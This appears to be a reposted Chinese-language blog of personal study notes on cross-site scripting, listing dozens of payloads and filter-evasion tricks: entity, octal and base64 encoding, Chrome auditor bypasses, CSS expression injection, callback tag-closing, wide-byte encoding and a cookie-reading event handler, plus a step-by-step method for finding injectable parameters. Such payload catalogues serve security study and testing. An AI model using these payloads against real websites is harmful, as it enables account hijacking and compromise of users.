XSS零碎指南


該文章是本人兩天的學習筆記,共享出來,跟大家交流。知識比較零散,但是對有一定 JS 基礎的人來說,每個小知識都有助於開闊你的 Hack 視角。首先聲明,本文只是 XSS 攻擊的冰山一角,讀者自行深入研究。

本文地址:http://www.cnblogs.com/hustskyking/p/xss-snippets.html ,轉載請保留源地址。

一、XSS學習提要

  1. http://qdemo.sinaapp.com/ppt/xss/
    三水清 簡單介紹 xss
  2. http://drops.wooyun.org/tips/689
    烏雲 xss與字符編碼
  3. http://www.wooyun.org/whitehats/心傷的瘦子
    系列教程
  4. http://ha.ckers.org/xss.html
    反射性XSS詳細分析和解釋
  5. http://html5sec.org/
    各種技巧 ★★★★★
  6. http://www.80sec.com/
    一些不錯的文章

二、XSS攻擊要點

注意:這些插入和修改都是為了避開瀏覽器自身的過濾,或者開發者認為的過濾。

1. JS函數。

document.write innerHTML eval setTimeout/setInterval等等都是很多XSS攻擊注入的入口

2. html實體編碼

> "alert("Barret李靖")".replace(/./g, function(s){
     return "&#" + s.charCodeAt(0)
      /*.toString(16) 轉換成16進制也可以滴*/
      + ";"
  });

> "alert(1)"

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />

3. 如果過濾 html 實體編碼,可以改成URL編碼

> encodeURIComponent("&#")
> "%26%23"

4. 利用 HTML5 新增字符

&colon; 冒號
&NewLine; 換行

<a href="javascr&NewLine;ipt&colon;alert("Barret李靖")">XSS</a>

5. JS進制轉換

> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76"
> "<script>alert("Barret李靖")</script>"

6. Base64轉換

> base64("<script>alert("Barret李靖")</script>");
> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>

7. 瀏覽器解析非嚴格性

<img src=image.jpg title="Hello World" class="test">
  ↓ ↓    ↓        ↓      ↓            ↓
  ①②   ③        ④     ⑤           ⑥

①中可插入 NUL字符(0x00)

②和④中空格可以使用 tab(0x0B)與換頁鍵(0x0C),

②還可以使用 / 替換

⑤中的"在IE中也可替換成`。

   位置      |        代碼               | 可能插入或替代的代碼
------------|---------------------------|-----------------------
<的右邊      | <[here]a href="...        | 控制符,空白符,非打印字符
a標簽的后門  | <a[here]href="...         | 同上
href屬性中間 | <a hr[here]ef="...        | 同上+空字節
=兩邊       | <a href[here]=[here]"...  | 所有字符
替換=       | <a href[here]"...         | Union編碼符號
替換"       | <a href=[here]…[here]>    | 其他引號
>之前       | <a href="…"[here]>        | 任意字符
/之前       | <a href="…">...<[here]/a> | 空白符,控制符
/之后       | <a href="…">...</[here]a> | 空白符,控制符
>閉合之前    | <a href="…">…</a[here]>  | 所有字符

8. 斜杠

在字符串中斜杠(/)可以用於轉義字符,比如轉義 " 和 ' ,雙斜杠(//)可以用來注釋。這樣可以很輕松的改變之前的語句,注入內容。

9. 空格的處理方式

在解析的時候空格被轉移成 &nbsp;,注入的時候可以使用 /**/來替換。

10. 特殊屬性

1)srcdoc屬性(chrome有效)

<iframe srcdoc="&lt;script&gt;alert("Barret李靖")&lt;/script&gt;"></iframe>

2)autofoucus

<input onfocus=write(1) autofocus>

3)object

<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
    <param name="dataurl" value="javascript:alert("Barret李靖")">
</object>

11.繞過瀏覽器過濾(crhome)

?t="><img src=1 onerror=alert("Barret李靖")>
<input type="hidden" id="sClientUin" value="">

瀏覽器會過濾onerror中的代碼,所以換種方式注入

?t="><script src="data:text/html,<script>alert("Barret李靖")</script><!--

chrome攔截,是有一定的攔截規則的,只有它覺得是惡意代碼的才會去攔截。

12.替換URL

<xss style="behavior: url(xss.htc);">
<style>.xss{background-image:url("javascript:alert('xss')");}</style><a class=xss></a>
<style type="text/css">body{background:url("javascript:alert('xss')")}</style>

13.抓包、換包

 

三、XSS攻擊方式

1. javascript:和vbscript:協議執行后的結果將會映射在DOM后面。

<a href="javascript:'\x3cimg src\x3dx onerror=alert("Barret李靖")>'">click me</a>

2. 變量覆蓋

<form id="location" href="bar">
<script>alert(location.href)</script>

3. meta標簽

<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
Javascript: 協議可能被禁止,可以使用 data:
<meta http-equiv="refresh" content="0; url=data:text/html,<script>alert("Barret李靖")</script>">

4. css注入

<style>
@import "data:,*%7bx:expression(write(1))%7D";
</style>
<style>
@imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
<style>
<link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">

5. 提前閉合標簽

http://example.com/test.php?callback=cb

缺陷代碼:
<script type='text/javascript'>
    document.domain='soso.com';
    _ret={"_res":2};
    try{
        parent.aaa(_ret);
    }catch(err){
        aaa(_ret);
    }
</script>

注入:http://example.com/test.php?callback=cb</script><script>alert("XSS")</script>

原理:cb為回調函數,如果后端並沒有對callback字段進行過濾,則可以cb</script><script>alert("XSS")</script>這么長的一串作為函數名,然后你就懂啦~ 本方式只針對上面有缺陷的代碼。

6. 提前閉合雙引號

<input type="text" value="XSS&quot; onclick=&quot;alert("Barret李靖")" />

<!--<img src="--><img src=x onerror=alert("Barret李靖")//">
<comment><img src="</comment><img src=x onerror=alert("Barret李靖")//">
<![><img src="]><img src=x onerror=alert("Barret李靖")//">
<style><img src="</style><img src=x onerror=alert("Barret李靖")//">

7. 阻止編碼

?t=;alert("Barret李靖")
<script type="text/javascript">
    var t = query(t); // t = "&quot;;alert("Barret李靖")"
</script>

上面可以看到 ";" 被編碼了,觀察頁面編碼:

<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />

gbxxx系列編碼,可以嘗試寬字節:

?t=%c0%22alert("Barret李靖")

8. 攻擊單行注釋

URL對應的param中添加換行符(%0a)或者其他換行符。

?t=%0aalert("Barret李靖")//

// init('id', "%0aalert("Barret李靖")//");

被解析成

// init('id', "
alert("Barret李靖")//");

9. url

url中可以使用很多協議 http:// https:// javascript: vbscript: data:等等,利用這些屬性,可以找到很多的空隙。

<a href="data:text/html,<script>alert("Barret李靖")</script>">XSS</a>

10. Flash跨域注入

這個我不太熟悉,現在網頁上Flash用的越來越少了,懶得繼續看了。

11. 利用事件

<iframe src=# onmouseover="alert(document.cookie)"></iframe>

12. 利用標簽

<table><td background="javascript:alert('xss')">

 

四、XSS攻擊實質

XSS攻擊沒太多神奇的地方,就是利用瀏覽器防御不周到或者開發者代碼不健壯,悄悄對頁面或者服務器進行攻擊。

1. 繞過過濾

URL中的 <,在DOM XSS中,可以使用 \u003c (unicode編碼)表示,不過他有可能被過濾了,最后解析成&lt;,也可以使用 \x3c (Javascript 16進制編碼),> 對應使用 \x3e。這種情況經常在 innerHTML 以及 document.write 中用到。

所謂的過濾包括人工過濾,也包括了瀏覽器HTML與JavaScript本身的過濾,程序員會在瀏覽器本身過濾過程中進行一些干擾和修改,這幾個流程都給我們提供了很多 xss 攻擊的入口。

1) 數據需要過濾,但是未過濾。導致XSS。比如:昵稱、個人資料。

2) 業務需求使得數據只能部分過濾,但過濾規則不完善,被繞過后導致XSS。比如:日志、郵件及其它富文本應用。

2. 利用源碼中js的解析

比如第二部分提出的第11點,瀏覽器的攔截

?t="><script>alert("Barret李靖")</script>

這樣的插入會被攔截,當你發現源碼中有這么一句話的時候:

function parseURL(){
    //...
    t.replace("WOW", "");
    //..
}

便可以修改如上參數:

?t="><scrWOWipt>alert("Barret李靖")</scrWOWipt>

直接繞過了chrome瀏覽器對危險代碼的防御。

五、學會XSS攻擊

1. 尋找可控參數

攻擊入口在哪里?一般是有輸入的地方,比如URL、表單、交互等。

  • 含參數的URL中找到參數 value 值的輸出點,他可能在html中輸入,也可能是在javascript中
  • 實驗各種字符(< , > " '等),判斷是否被過濾,測試方式,手動輸入測試
  • 確定可控范圍,是否可以使用unicode編碼繞過,是否可以使用HTML編碼繞過,是否可以使用Javascript進制編碼繞過等等

2. 開始注入

注入細節上面都是,基本的思維模式:

  • 覆蓋
  • 阻斷
  • 利用特性

3. 修補注入錯誤

注入后保證沒有語法錯誤,否則代碼不會執行,注入了也沒用。這里的意思是,你注入的一個參數可能在腳本多處出現,你可以保證一處沒語法錯誤,但是不能保證處處都正確

4. 開搞

測試的時候alert("Barret李靖"),彈出成功再繼續其他更邪惡的注入方式。

六、XSS分類

為什么留到后面說。XSS也了解了很多次了,每次都是先從概念觸發,感覺沒啥意思,什么反射性、DOM型、儲存型等等,還不如先去實踐下,憑着自己對XSS的理解,多看幾個網站的源碼,找找樂趣。

存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程。簡單點說:

反射型是:輸入--輸出;
存儲型是:輸入--進入數據庫*--取出數據庫--輸出。

這樣一來,大家應該注意到以下差別:

反射型是:絕大部分情況下,輸入在哪里,輸出就在哪里。
存儲型是:輸入在A處進入數據庫,
而輸出則可能出現在其它任何用到數據的地方。

反射型是:輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型) 存儲型是:輸入大部分來自POST/
GET請求,常見於一些保存操作中。

因而我們找存儲型的時候,從一個地方輸入數據,需要檢測很多輸出的點,從而可能會在很多點發現存儲型XSS。

七、輔助工具

  1. http://ha.ckers.org/xsscalc.html
  2. chrome插件 (xss Encode,百度之)
  3. 抓包工具,fiddler4 chales
  4. 白名單過濾工具github/js-xss

八、小結

簡單小結:

  • & 號不應該出現在HTML的大部分節點中。
  • 括號<>是不應該出現在標簽內的,除非為引號引用。
  • 在ext節點里面,<左尖括號有很大的危害。
  • 引號在標簽內可能有危害,具體危害取決於存在的位置,但是在text節點是沒有危害的。
  • 。。。

關注漏洞報告平台 Wooyun,多動腦筋,手動 hack。最重要的還是先黑客再紅客。

九、參考資料


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM